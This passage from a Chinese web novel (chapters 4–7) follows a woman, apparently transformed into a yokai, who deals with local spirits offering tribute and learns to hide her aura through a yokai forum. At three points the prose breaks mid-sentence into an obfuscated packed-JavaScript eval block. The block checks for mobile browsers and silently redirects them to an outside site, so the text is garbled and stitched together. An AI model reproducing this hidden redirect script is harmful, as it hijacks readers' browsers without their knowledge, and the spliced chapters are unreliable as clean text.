她是被妖怪们推选出来的，而现在，落秋回到了云杏寺里。那里，有一群妖怪正翘首以盼地等着她回来…… 4. 第4章 “落秋，怎么样？你没事吧？”见到落秋回来，站在众妖前头的一个老人上前问道。 落秋微笑着摇了摇头：“我没事，这位大人……感觉是个好相与的。” 听到她这么说，妖怪们都纷纷松了口气，又开始询问起具体的情况来。 他们都是住在这附近的妖怪。家附近突然来了一只大妖，而且一来就放出了如此的强大的妖气，并从白天一直持续到了现在，还不知道会维持到什么时候才结束，大家都很难不关注这件事。 大妖之间也是各有不同的性格，他们就想知道这个大妖性格如何，要是那种性格不太好的，那他们当然要抓紧时间赶紧搬家。 他们甚至都做好了准备，要是落秋这一去就不回了，那他们也别管什么家不家的了，直接跑吧，不然还要留下来给大妖当口粮吗？ 落秋也知道大家很关注大妖的情况，因此将刚刚与游书姝交涉的全过程都详细地转述了出来。 当然，有游书姝的吩咐，她并没有将姓氏这件事说出来， 众妖听了她的叙述，悬着的心都放回到了肚子里。 “那这样听来，这位大人的脾气好像不差？” 哪里是脾气不差，这脾气绝对是好的了。 落秋给的供奉不喜欢，但是也不生气，只是让人换一个就行。虽然来得比较突然，事先都不知道对方是哪里冒出来的，但是也准许他们慢慢准备供奉。 十天时间呢，这儿有些妖怪以前还是遇到过一些大妖的，能给你个三五日准备就算不错了，这位大人可真是仁慈。 可是…… “为什么这位不把妖气给收敛一下呀？这威压弄得人怪难受的。”有妖怪搓了搓自己手臂上的汗毛，战战兢兢地说道。 实际上，已经有部分小妖因为对方妖气的压制而无法出门了。整个人都控制不住的哆嗦，出了门怕是会被人类直接当成癫痫患者给送到医院去。 能到这儿来的，都还是情况好一些的了，但有些修为差点，还是会时不时地抖上那么一下。 有妖猜测：“会不会就是因为这个，才想给我们来个下马威呀？” 都说人善被人欺，这大妖要是太好说话，也是有可能会被下面的妖怪蹬鼻子上脸的。也许这位大妖就是怕他们不敬她，所以才来了这么一手呢？ “不好说，可能吧。” “落秋，你觉着呢？” 落秋微微思索，随后道：“或许吧，这位大人……我有些看不透。” “怎么说？” “她……就如同你们说的，这位大人一来就放出了此等妖气，显然是有些威慑之意。可实际拜访了一下，又会发觉她其实并无居高在上的感觉。今天你们不是还说这位大人点了外卖吃吗？” 有妖怪连忙点头：“对，还是铖给送过去呢。” 妖怪们四下看了看：“铖呢？” 有妖答：“还在跑外卖呢。不过那鸡公煲我也买了一份，还以为大妖点的外卖有啥特殊的呢，结果难吃死了。” “我也买了，我觉得还行啊。” “得了吧，上次烧烤的时候你那串都糊成碳了你也说还行。” 落秋笑了笑，接着说道：“铖白日里也说那位大人向他说了谢谢，还给他五星好评。其实我方才去的时候也有这种感觉，那位大人……并非是用妖力传的话，而是走到门边同我交谈。” 她回忆起了更多细节：“我当时能感受到，这位大人是从门上的猫眼在看我。” 听到她如此说，大家都有些咋舌。 这要不是还能感受到那个方向传来的庞大妖气，就这形容他们都要感觉那是个普通人类了。 落秋的话还未说完：“此外，她也并未在房内设下阵法结界一类。若是我当时有意，甚至可以直接用神识去探查她屋内的所有陈设。” 当然，这也仅仅只是说上一说罢了，那样的妖气威压放在那儿，哪个妖怪敢做这种不要命的事。 “她放出妖气、语气也甚是冷淡，似是于我等疏离高远，一些举止却又显得平易近人、和善可亲。”落秋微蹙柳眉，摇了摇头，“难懂。” “不过……或许这位大人很喜欢这种人类的感觉。你们之后准备供奉之时若是不知道该送些什么，或许可以往这方面去想一想。”她给出了自己的建议。 人类中有偏好古老传统的、也有追求现代新思想的。妖怪当中也是一样。 有妖怪怀念于以前妖怪称王称霸的日子，也有妖怪觉得现在人类们弄出来的这些小玩意儿还挺有意思。 落秋想：或许这位大妖就是那种对现代人类社会还蛮喜欢的这种呢？ 有妖怪有些迟疑：“那这位大人不会觉得我们怠慢她吗？” 比起各种奇珍异宝，人类文明弄出来的各种东西价值可没那么高。 再奢华的豪车，还能有一株灵草价值高？ 落秋却是摇了摇头：“就算我们真的献上一些奇珍异宝，又有多少东西是能入得了这些大人的眼的呢？” 她眸光微敛，不自觉放轻了语气：“实际上，我刚才问过大人的姓氏。大人要我莫要外泄，但我大抵告诉你们，这位大人……说的是双字。” 此言一出，现场刹那安静，所有妖怪顿时连大气都不敢喘。 是了，这种等级的大妖……他们就是把家底都掏出来都不一定入得了对方眼的。 ── 另一头，游书姝在看了一会儿的各种妖怪介绍后突然想起来一件事──今天下午那个外卖小哥……是不是也管她叫大人来着？ 当时还以为是这边的特色，结果晚上就来了个同意喊她大人的落秋。 现在想了想外卖小哥那个忐忑到发颤的声音…… 该不会那个也是妖怪吧？ 游书姝：“……” 真是愁人。 她掏出手机，本来是想看一下时间的，但看到了消息提示。 是那个她先前在网上评论的帖子的楼主，对方给她发了私信，问她问题解决了没有，还申请加她为好友。 游书姝通过了对方的好友消息，并回复了一句：还没，你这边解决了吗？ 她现在也不确定对方究竟是不是妖怪，还是单纯的在搞抽象。但……或许可以聊一聊试试看。 看头像对方似乎是个男性，昵称叫向云端。或许是因为正好也在线，游书姝刚把消息发过去，对面就秒回了。 【向云端】：我已经好了！多亏广大网友，我本来就是发个帖子试一试，没想到还真给我问到了！真是运气太好了。 【向云端】：你这边是什么情况？要不我帮你看看？ 游书姝有些迟疑。 对方未免也太过热情了，如果他真的是妖怪的话，难道就不怀疑一些她的身份吗？ 【向云端】：哦对了，忘了自我介绍了。我叫项云，就是人名，没有妖名。是只碎蛇妖，你呢？ 碎蛇妖？ 游书姝去陆扶光给的资料中循 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805730|158499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着目录找到了碎蛇。 碎蛇：一种很容易被摔碎的蛇，但摔碎后能自行拼合复原。 游书姝：……？ 不知道为什么，她脑海中第一个想到的是由一个个拼图碎片拼起来的蛇。 破碎后还可以拼回去。 还能有这种妖怪？ 接着往下：可以用来制作接骨良药。 Emmm……也挺有道理。毕竟自己就擅长拼起来。 拿捏不准对方说的是真是假，游书姝干脆也学着他的样子编了个自我介绍。 好在她一开始用的就是小号，倒也不怕被查出本人来。 【游鱼】：我叫游舒，也是人名，没有妖名。是一只鹿妖。 【游鱼】：我的情况和你说的差不多，我头上的角收不起来了，现在不知道该怎么办。 【向云端】：嘿嘿，那你肯定是跟我一样，化形术没修好！你等我找找，上次那个前辈给我发的化形术修练注意事项我还留着呢，我转给你。 游书姝盯着化形术修炼注意事项几个字，有种荒诞又滑稽的感觉…… 总感觉像是什么工厂注意事项、家用电器使用注意事项之类的东西，但偏偏前面写的又是化形术这么个十分玄幻的东西。 没多久，对方把东西发过来了。游书姝打开看了一下，好家伙，里面还带q版小人配图。 当事情越发不着调的时候，总是会让人产生一种感觉，那就是──会不会是我的问题？ 她决定稍稍试探一下，便给对方发了个消息。 【游鱼】：你知道一点就亮吱吱吗？ 这个从落秋口中提到过的奇怪名字，似乎也是她现在唯一能用来进行试探对方真假的东西了。毕竟那根灵芝看上去就不像是寻常东西。 【向云端】：你是想说一点就亮芝芝吧？ 【向云端】：我知道啊，亮芝芝嘛，好久没听有谁这么喊全名了。怎么了吗？ 游书姝默了默，感情是一点就亮芝芝…… 这个名字……竟然还是全名？？？ 虽然缩写名感觉也正经不到哪里去。 总觉得妖怪圈子好像和她想的好像有点不太一样…… 【游鱼】：没什么，就是有点担心你是不是真的妖怪，因为现在有很多人类在网上也会搞抽象说自己是妖怪啥的，我稍微有点怕，所以…… 【游鱼】：不好意思啦，小哥哥你没有生气吧？ 她直言不讳的道歉，不仅特地把自己的措辞包装了一下，还去找了个很软萌的表情包发了过去。 虽然可耻，但面对男性，小小地利用女性身份撒个娇还是很好使的。就是游书姝本身并不是这种性格，也没有想到自己有朝一日要特地用这种小心机来讨生活，令她有几分哭笑不得。 【向云端】：哈哈哈哈……没事没事，可以理解，毕竟是和修炼有关的，一个小心没弄好就出岔子了，保持点警惕也是好的。 【向云端】：对了，我这里还有其他的通用妖术的教程，你要吗？ 事实证明，刻意的撒娇卖萌是真的有用。在游书姝一声声连自己都觉得有些不适的小哥哥中，项云不仅端出了好几个所谓的通用妖术教程，还告诉了游书姝一个妖怪们自己运营的论坛──妖妖灵。 游书姝：“……” 看着这个论坛的名字，再看了看网站主页最上面的标语──有问题就问妖妖灵。游书姝再次觉得：所以……你们妖怪圈子果然是有哪里不太对吧？ 5. 第5章 项云说妖妖灵上全都是妖怪，游书姝觉得有些好奇，网络世界是怎么区分用户究竟是不是妖怪的。 项云说他也不是很清楚，但能上这个网站的都是妖怪。人类打开后会直接把它当成垃圾广告弹窗给关掉。 【向云端】：可能是上面的大妖们布过什么幻术吧？ 游书姝也不知道这种布置在互联网网页上的幻术究竟应该算是什么，赛博妖术吗？ 可她看着自己已然打开的网站主页──全然没有半点像是个垃圾广告网页。 她一时也不知道这究竟意味着什么，是她身上的变化骗过了这个网站，还是说…… 游书姝谢过了这位热心肠的路妖甲，同时对他提出的以后有缘分的话请她吃饭这个话题采取了一个卑劣的不承诺、不拒绝的渣女手段，然后就将心思全都转到了妖妖灵这个论坛上。 网站里不少聊天灌水的帖子，单单是看过标题都能感受到这是一个和现代人类社会相似又不同的世界。 有妖怪在吐槽公司老板的，说对方明明身为人类，但简直不是人。也有妖怪在社交的，想找个师傅带带自己，或是找个朋友一起玩。还有一些就显然是比较专业的问题探讨，妖术的修行、灵植的科学养护。 在知道这个论坛里都是真正的妖怪的前提下，这些帖子的标题就已经足够吸引对妖怪世界完全陌生的游书姝了。但她并没有第一时间去看那些五花八门的帖子，而是点开了最上面被高亮置顶的论坛公告。 点进去，发现里面除了一些例如不准发表引战言论、不准传播□□内容等在寻常网站上也有的规则外，同样有一些具备妖怪特色的规定。 比如：禁止在帖子中夹带赛博妖术；禁止提到妖王及以上尊者们的名讳；规定上不强制要求实名，但如果有大妖想要进行认证，也可以提供这项服务。 游书姝还看了下，公告上说不同等级的大妖可以给带不同颜色的认证v标，单字姓为铜黄色，双字姓为银色，三字姓为金色。 看到这条，游书姝心中顿觉不妙。 姓氏的长短……似乎……代表了等级？ 回想起自己报给落秋的那个随手拈来的双字复姓，游书姝只觉得头脑有些微微眩晕。 不是吧？ 她真的就是随口一说啊。 她返回论坛主页，在搜索框那一栏搜索了［姓氏］，在搜出来的帖子中看了许多，最后才终于确定了——不是所有妖怪都有姓氏，也不是所有妖怪都有名字。 简单来说，妖怪们根据自身实力高低，从上到下分为三字姓、二字姓、单字姓、无姓有名和连名字都没有。 其中有姓氏的统称为大妖，三字姓和二字姓的就已经属于妖王了，三字为大妖王，两字为小妖王。 实力若是提升，就能从无名无姓的小妖，变成拥有姓名的大妖。若是实力衰退，也有可能会无法承受原本的姓氏，只得被迫改换掉原本的姓名。 游书姝越看越觉得自己做了个大死…… 她竟然一上来就给自己套了个小妖王的身份，这要是被人给戳穿了，死都不知道怎么死的吧？ 她也不知道自己最后是怎么平复下来的心情，可能是篓子已经捅破天了，接下来就只需要不需要考虑怎么活，只需要考虑怎么死了吧。 把公告看完之后，她又按照项云的推荐，找到了一个标题叫做［小妖苟活之道］的帖子。 楼主上来就说那是自己作为一名无名无姓的小妖，从千年前妖界极盛之时，渡过人妖大战的纷乱，一直苟活到今天的一些生存之道。 游书姝只从他开头这一句，就已经大概感受到了人与妖之间的一些或许很是惨痛的历史。 如何发展至今的暂且先不去深究，就目前来看，这个帖子非常适合现在需要苟一苟的游书姝。 她将帖子整篇帖子全部看了一遍，总结了几点关键—— 1、不作死、不惹事。 2、藏好自己身上的妖气，不要被人类的除妖师们发现，也不要被大妖觉得你在挑衅他。如果身上有什么容易让别人看了不爽的地方，记得一起藏起来。 3、随时准备一些好东西。若是遇上大妖了，可以当做供奉献给对方，只要不是运气太差遇到了那种杀戮成性的大妖或是正在气头上的大妖，多半都能幸运的苟一条命。若是被人类除妖师追杀，把好东西扔出去，还能分走对方的注意力，拖慢对方追缴你的步伐。 坏消息简直一个接着一个，前脚才知道自己诓骗了人家妖怪自己是个小妖王，后脚又获知人类当中还有除妖师这么个群体。 那么问题来了，以她这种被妖怪都给当成同类的情况，现在如果去找除妖师求助的话，会不会被直接当成妖怪给除了呢？ 很难说，但概率多半是有的。 也就是说，她现在不仅在妖怪这边很危险，在人类这边也很危险。 游书姝再次叹了口气，随后抬手捏了捏自己的眉心。 罢了，先把这几点关键给记住吧。 不作死不惹事倒不是什么难事，第三点……妖怪们口中所谓的好东西她应该是没有的，让游书姝最为在意的反倒是第二点。 妖气…… 联想到那些妖怪们都知道自己的存在这点，游书姝合理怀疑自己身上会不会也有这种听上去就看不见摸不着的东西。 楼主倒是给了些用于收敛妖气、隐藏妖气的小技巧，但游书姝压根就看不太懂。那似乎是给已经有所基础的妖怪们看的进阶版。 于是她又开始在论坛里搜索如何隐藏妖气，最后在一众帖子中勉强找到了一个自己稍微能看懂一些的，开始研究。 与此同时，云杏寺里的妖怪们也在发愁。 “落秋，那位大人同意咱们今儿在这儿办祭典了吗？” 落秋也是略蹙着眉，点了点头，道：“我虽未直接询问，但大人当时回绝了我等的邀约后并未说过不让我们办祭典一事，还说了句让我等自己玩，应是已然同意的了。” 对面的几个妖怪脸色都有些发苦：“可那位大人的妖气威压未免也太……这样子我们连放松都放松不下来，还怎么办这个祭典呀？” “莫急，先等上一等吧。”落秋远望着游书姝那个小区的方向，安抚众妖道，“大人既然这般说了，届时兴许会将妖气收敛一二的。” 妖怪们面面相觑，但也想不出什么好办法来。 毕竟人家大妖要是真的不把妖气收敛起来，他们又能怎么样呢？难不成还要找过去要大妖把妖气收一收，别影响他们办活动吗？那怕不是嫌命太长了。 也只能等了，希望到时候真的如同落秋所说的那般，大妖能够在祭典开始之前把妖气给收一收吧。 很快，时间转眼到了十点半。在游书姝又找了一堆帖子进行辅助研究的情况下，耗费了两个多小时的她终于找到了些许窍门，将所谓的妖气给收了起来。 虽然她其实也不确定自己收起来的是不是妖气，但她真的能感受到自己把一种玄之又玄的东西给收敛了起来。 根据广大妖怪网友们的描述来看，那应该是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805731|158499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖气没错。 “呼……”她长呼出一口气，随后抹了抹额头的薄汗。 好消息是，她掌握了收敛妖气的方法。 坏消息是，这似乎更加证明了自己现在是一只妖怪。 尤其是她刚刚在尝试的过程中，还不小心用妖气将屋内的一些陈设给碰倒了，也正是因为这点，才让她确认那种玄而又玄的感觉并不是她自己臆想出来的。 一时间很难说这究竟该算是一件好事还是坏事，游书姝也只能安慰自己至少不是太糟。 对妖气的掌控也让她隐隐有一种兴奋之感，大抵是肾上腺素的刺激。于是她又尝试了一些其他的通用妖术，比如用妖气来移动物体、闭上眼睛后用神识去感知周遭的环境等等。 在她尝试着学习新技能的时候，周边的妖怪们终于在这长达数个小时的妖气威慑下得以松了一口气。 尤其是聚集在云杏寺的妖怪们，高兴得当即欢呼了起来。 “太好了！果然像落秋说的一样，那位大人真的把妖气给收起来了！” “呼……终于再次感受到了可以自由呼吸空气的感觉，我今天一整天都没敢大喘气。” 古老的砖瓦顶上，最开始上去迎接落秋回来的老叟和落秋一起站在云杏寺的最高处，也是将悬在半空的心放了回去。 这不仅仅是因为大妖将妖气给收了起来。 老叟看着游书姝所住那栋楼的方向，叹道：“看来事情确实如你所说，这位大人，应是个好相与的。” 这对他们来说，无疑是个好事。 落秋不由苦笑：“实不相瞒，在此之前我也都没放下心来。” 虽说是在安慰着大家，其实她自己也没有把握那位大人究竟会不会把妖气给收起来。 老叟却是笑了笑，道：“你的眼光向来是准的。” 下方有妖怪对着二人喊道：“落秋，檀老，咱们等会儿祭典上的音乐声是不是要调小一点呀？还有烟花啥的，还放不放啊？” 檀老和落秋相视一眼，俱是一笑。 “不必，按照原先的就好。”檀老回答道。 “可……这要是把动静闹太大，吵到那位大人，她不会发火吗？” 檀老摇了摇头，没说话。落秋回道：“大人若是不想听到我们这边的声音，自然有的是法子，何须担心这个。” 底下的妖怪一听，也有道理，于是又回去接着准备了。 —— 十一点的时候，沉浸在妖术学习中的游书姝听到了远处传来的喧闹嘈杂的声音。 起先她并没有在意，但是过了一会儿后，突然反应过来——这个时间点了，正常来讲不会有人帮什么活动了吧？ 她想起落秋说的祭典。 是了，这个时候恐怕也就只有妖怪们能这么玩了。 不会被人类注意到吗？ 她有些诧异，但想来他们敢这么肆意的吵闹，应该是不会被人类听到的，否则十一点钟搞出这么大的动静，肯定会被附近的居民投诉。 因为有些好奇，所以她来到了窗边，打开窗户朝着声音传来的那个方向看去。 她发现不仅仅是听力，她的视力也变好了许多，至少正常来讲人类的肉眼肯定是没办法像是眺望镜一样看那么远的。 她甚至能隔着这么远的距离隐隐看见一些人头攒动。 或者说……妖头攒动。 妖怪们的聚会吗？ 伴随着烟花炸开的声音，游书姝无比清晰地感受到，自己来到了一个全新的世界。 6. 第6章 在窗边稍微看了一会儿后，游书姝便回到了屋里，继续在妖怪论坛上寻找自己或许能用上的东西进行学习。 眼下的情况，她不能只等着陆扶光那边的消息。或许趁着此时多掌握一些，能让她之后在遇到一些突发事件的时候，不至于坐以待毙。 而在她收回视线之后，云杏寺里的落秋朝这个方向看了过来。 游书姝并不知道，她刚刚毫不遮掩的视线对于一些较为敏锐的妖怪而言，完全是能感应到的。 至少落秋就能够察觉到。 虽然不知道游书姝为什么会看过来，但感受到她将视线收回，落秋安下心来。 她收回目光，正巧与檀老对上了视线。 显然，对方也已经注意到了从高楼处投下来的目光。 二人相视一笑。 ── 入了夜似乎才是妖怪们最为精神的时候，这点从云杏寺祭典的开始时间定在十一点才开始便已侧面印证了。 然而按照游书姝一直以来的习惯，她是十一点半就要准时睡觉的。 好在她有耳塞，虽说现在的听力已经是翻倍增长过的了，但多少也能削减一些音量。 然而不知道是不是今天的事情太多了，还是说自己甚至都已经进化到不需要睡眠了，游书姝一时半会儿觉得自己精神得很，压根睡不着。 在床上躺了许久之后，毫无睡意的她才勉强睡了过去。 第二天早上醒来，她准确无误地摁掉床头的闹钟，起床。 洗漱的时候，看着镜子里和昨天一模一样的龙女妆容，她忍不住又试了试自己昨晚就在钻研的化形术。 说是化形术，其实仅仅只是化形术当中最简单的一式，可以让妖怪们收起自己身上属于妖怪的各种特征。 但……尽管是最简单的一式，游书姝还是失败了。无论是昨晚，还是现在。 没有半点效果。 是她哪里弄错了吗？游书姝完全没有头绪。 她还收到了来自项云的问候，他问游书姝有没有解决鹿角收不起来的问题，游书姝老实回答了没有。 项云问她是不是有哪里不懂，游书姝也不知道该怎么和他说。 总不能说她以前没当过妖怪，没学过妖术，所以完全不知道自己练没练对吧？ 她只能说不知道，可能是自己太笨了。 项云很暖心地给予了她安慰，还很热心地表示如果游书姝有什么不懂的，都可以再问他。 游书姝看着他那十分暖男的回复，一时间也不知道对方是本来性格就如此，还是真的被她昨晚一口一个小哥哥伪装出来的娇软甜妹形象给钓住了。 希望不是后者吧，不然……游书姝觉得自己的罪过就有些大了。 不过话又说回来，昨天在论坛上逛了一番之后，游书姝也终于理解了为什么项云一上来就能把她当成妖怪来对话，居然没有怀疑过对面的人可能不是个妖怪。 原因很简单，因为如果你对面的是个真正的人类，并且还是完全不知道妖怪存在的人类，那对方只会把你当成在搞抽象的网友。 看论坛，不少妖怪们甚至还会故意这样子去逗人玩。 游书姝甚至刷到一个帖子，有一个人类误入了一个妖怪的群聊，妖怪们一开始也没发现那家伙不是自己妖，对方可能也是把他们当成了一群聚在一起搞抽象的网友，大概是觉得好玩吧，就跟着一起给自己捏了个妖设，和大家一起胡说八道。 妖怪们刚开始还以为那是个脑子不太好使且爱吹牛胡扯的蠢蛋妖怪，后来发现……那货好像是个人。 然后现在那个群里的妖怪们每天都在看那个人类假扮妖怪，还发到了论坛里给大家一起来看乐子。 有些妖怪觉得好玩，也申请加入那个群，那个群现在已经妖满为患了。 游书姝看到那个帖子的时候，在心中默默对那个不知名的人类网友表示同情。 —— 洗漱完毕，游书姝抬脚前往厨房方向。路过客厅的时候，她下意识看了下门口。 奇怪，她总觉得门外好像有人。 这种感觉很难说，像是第六感，又好像不是。 左不过就是过去看上一眼就能确认的事情，游书姝便干脆真的走到门边扒着猫眼往外看了眼。 她心头一跳：还真有人！ 吓得她赶紧捂住猫眼收回了脑袋。 什么人！？为什么会在她家门口！？ 心跳不由得加速，游书姝喉头动了动。 门外是两个看上去很像街头小混混的男人，一个黄毛、一个红毛，手上似乎还提着什么东西，从猫眼的视角看不太清楚。 一时间，女性的思维让她想到了各种独居女性惨遭毒手的案例，如今自己身上这个奇怪的状态又让她想到了妖怪和除妖师…… 这么想来，一时半会还真的不能确定门外到底是什么来头。 她思考着，闭上了眼，尝试着用昨晚刚刚掌握了些许皮毛的神识向门外扫了过去，打算看一看外面那两人究竟是拿了什么东西。 不过……她的神识刚扫出去，答案就直接揭晓了。 门外原本都已经有些蔫儿了的两人，立刻打起了精神，齐刷刷对着她家大门的方向就一个90度大鞠躬：“大人！” “咚！” “哦靠！嘶……” 其中那个红毛还磕在门把手上了，声音响得啊……一听就是好头。 游书姝听着都觉得痛。 “对、对不起！大人！我不是故意的！我、我给您赔个新的！”磕得头上都肿起一个大包的红毛慌不迭地赶忙道歉道。 游书姝用神识看了眼那个直接被撞弯了的门把手，又看了看那红毛头上的包，陷入了沉默。 好吧，看来是妖怪无疑了。 收回神识，她不由捏了捏眉心，颇有些头疼。没有开门，却问道：“你们两个是来干嘛的？” 那位黄毛赶紧拿出了自己提的东西，捧到自己脑袋顶上，恭敬道：“大人，我们是洛西街那边的，小的是石大夫。” 红毛接着道：“小的是书精。” “我们是来给您上供奉的。”×2 石大夫、书精？ 游书姝隐隐觉得自己好像昨天有在资料里看到过这俩妖怪。石大夫……没记错的话好像是石头化成的医生。书精则是旧书成精，喜好劝人读书。 她再想了想自己刚刚看到的那一头黄毛和一头红毛：“……” 医生？劝人读书？ …… 认真的吗？ 总觉得妖怪的世界充满了各种意想不到，让人又有些无语又有些想笑的，把她原以为会面对各种危机和恐怖的紧张感都给冲淡了不少。 “你们两个什么时候来的？”游书姝又问，“怎么来了也不敲门？” 就这么在别人家门口傻站着，要不是她莫名其妙地觉得门口好像有人过来瞅上一眼，这俩是不是打算就在她家门口当门神了？ 红毛书精顶着头上的大包回答道：“大人，我们……凌晨三点就来了。” 游书姝：？ 游书姝惊了，凌晨3点！？那岂不是说这两个家伙在她家门口站了一宿！？ 你们……你们妖怪都不用睡觉的吗？ 黄毛石大夫又接着说：“呃……我们想着大人肯定也知道我们来了，没搭理我们肯定是大人有事要忙，也不敢敲门打扰……” 游·忙着睡觉的大妖·书姝：“……” 行吧，她都不知道该说啥好了。 见她不说话了，两人在外面悄悄咪咪的互相递眼色。 红毛：啥情况啊？ 黄毛：不知道啊。 红毛：要不你问问？ 黄毛：你怎么不问？ 红毛：老子不敢。 黄毛：说得跟我敢一样！ 好在他们两个一波脸色使完之后，门内的游书姝终于是再次开了口：“你们刚才说你们是专门来找我上供奉的？” “对！”二妖齐声应答。 “老大！啊不是、大人，我们给您买了最新款的手机，因为不知道您喜欢什么颜色，所以我们把所有颜色都给买了。” 游书姝心想：原来那黑色塑料袋里装的是手机啊……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805732|158499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谁家好人用黑色塑料袋装手机？ 而且供奉什么的……送手机？还是旗舰机？ 这妖怪送的供奉……这么紧跟时代潮流的吗？ 而且话说回来……老大…… 游书姝对红毛这个脱口而出的称呼弄得有几分无言以对。 这家伙……不会真的是个小混混吧？ 红毛话刚说完，边上的黄毛又紧跟着补了一句：“您要是不满意，再给我们几天时间，我们再去给您找别的供奉来！” 手机啥的自然不是什么常规供奉，他们两个其实就是昨晚听了落秋说的话，祭典结束后跑去买的，想着过来试试。 看他们俩这模样也知道他们送不出什么像样的供奉了，连名都没有的喽啰小妖，完全就是抱着死马当活马医的心态来试试看。 也亏得是妖怪中正好有卖手机的，不然这大半夜的他们还真找不着地方去买。 不过这点游书姝是不知道的，听这两妖怪说是来上供奉的，游书姝着实有些头疼。 她昨晚在论坛上也了解到了一些，供奉原本是受到庇护的小妖们自愿献给大妖的，但久而久之就发展成了一种潜规则，只要你居住的地方是在大妖有意辐射到的地区之内，那你就得交。 这种供奉类似于那种混混帮派收的保护费。“保护费”交上来以后，代表着大妖允许你在他的威名所能辐射到的范围之内生活，至于会不会保护你，完全看大妖的妖品。 而她也终于知道了为什么昨天落秋就说周边的妖怪们都在准备着给她送供奉，因为她昨天那种将妖气肆意外放的情况，就是在宣示主权，和兽类撒尿标记地盘是一个概念。 等同于她已经和小妖怪们说了：我在这儿，周围这一片都是我的地盘了，你们想在这一片生活的话，需要先获得我的同意。 而妖怪们提交居住申请的方法就是上供奉。 也难怪昨天她拒绝了落秋的供奉之后对方会直接跪下来，在对方眼里就是她先划了地盘然后要求他们来上供奉的，但她又拒绝了对方的供奉，那可不就是要赶人走吗？ 现在的情况就是……这个供奉，她要是不收，就是赶人走。 可收吧……她一个假的大妖，她哪里敢收？ 游书姝现在就是头疼，格外地头疼。 可现在的情况是门口已经杵着两个妖怪了，正等着她的答复呢。 她想了想，回道：“不用，你们把东西拿回去吧。你们可以继续在这附近生活，我不需要你们给我供奉，也不会为你们提供什么庇护。昨天放出妖气只是表示一下我在这里而已，我不喜欢被打扰。” 她给自己找了一个大约算得上合理的解释。 门外，黄毛和红毛懵逼地看了看彼此，显然是都没有想到游书姝会这样说。 他们挤眉弄眼地用表情互相询问：啥情况？该咋办？ 可惜都只能在对方的头上看到和自己如出一辙的问号。 游书姝早就收了神识，也看不见他们此时的表情。只是接着说道：“另外，你们和附近的其他妖怪彼此之间应该有联系吧？” 两个妖怪也不知道游书姝问这个做什么，但还是老实回答了：“是，我们有一个大群，还有好几个小群。” “那你们把我刚刚的话带给其他妖怪吧，你们以前是什么样的，以后也还是那样就好。我不需要你们的供奉，也不会去管你们的事情。” 游书姝尽量将自己的语气放得冷漠而高傲，以此来削减自己嗓音中天生的温柔感，希望能塑造出一个不屑于搭理那些小妖怪们如何的大妖形象 命令式的语气也让门外的黄毛和红毛在不知所措地看了彼此一眼后，选择了一起低头应下：“是，我们知道了。” “还有什么事吗？没有的话就不要站在我家门口了。”游书姝开始逐客。 红毛小心翼翼地提醒：“那个……大人，你的门把手……” 游书姝：“……” “先放着吧。” 不然还能怎么办呢？她现在这副模样，也不可能请师傅来给她换。反正目前看来应该是不影响使用，那就先搁着吧…… 7. 第7章 在逐客令下完之后，游书姝就去厨房给自己做早餐了。 完全不知道门外的两人在她扭头进了厨房后并没有直接离开。 红毛书精对着黄毛石大夫使眼色，问：那这些手机咋办？咱就这么拿走？ 黄毛也有些纠结，眉毛都快拧成麻花了。 不要供奉的大妖，他们没听说过啊。 会不会是大妖看不上他们的供奉？ 可是大妖又让他们告诉大家都别来。 呃……该不会是他们送的供奉让大妖对他们这些小妖怪能拿出来的东西失去期待了吧？要不然为啥昨天晚上落秋来的时候大妖没这么说呢？ 二妖越想越觉得有可能，毕竟他们俩在妖怪当中都是一无是处的团欺，这种可能性放在别人身上还不好说，放在他俩身上的真是太有可能了。 红毛挤眉弄眼：兄弟，咋说啊？咱走不走？大妖不是让我们别在她家门口杵着吗？ 黄毛的眉毛几乎纠结得在他脸上跳了个舞。 怎么办？直接走？ 靠，明明你才是书精，你才是该长脑子的那个，怎么现在就等着老子一个石头想办法！？ 最后，纠结了好一番，黄毛终于下了决定，把那五个手机一股脑儿直接挂在了大妖家的门把手上，然后就像是生怕大妖再拒绝一样，撒丫子跑了。 等跑出去好远，俩妖在小区外的马路边停下，红毛喘着气问：“不是，大妖不是不要咱们的供奉吗？那咱们干嘛不把手机拿去退了呀？” 那可是他们两个人三个月的工资呢。 红毛书精的脸上写满了不舍。 黄毛一巴掌拍他脑门上：“你蠢啊！咱们都跑到这儿来了，也没见大妖把咱们那手机给扔出来，说明是已经默许咱们把东西留下了。” 红毛眨巴眨巴眼：“有道理哦，不过你是怎么知道大妖是准我们把东西留下来的？” 黄毛摇头：“我不知道，我就是赌一把。大妖不可能不知道咱们把东西留那儿了，她要是真的把东西给我们扔出来了，那就说明大妖是真的不想要供奉。” 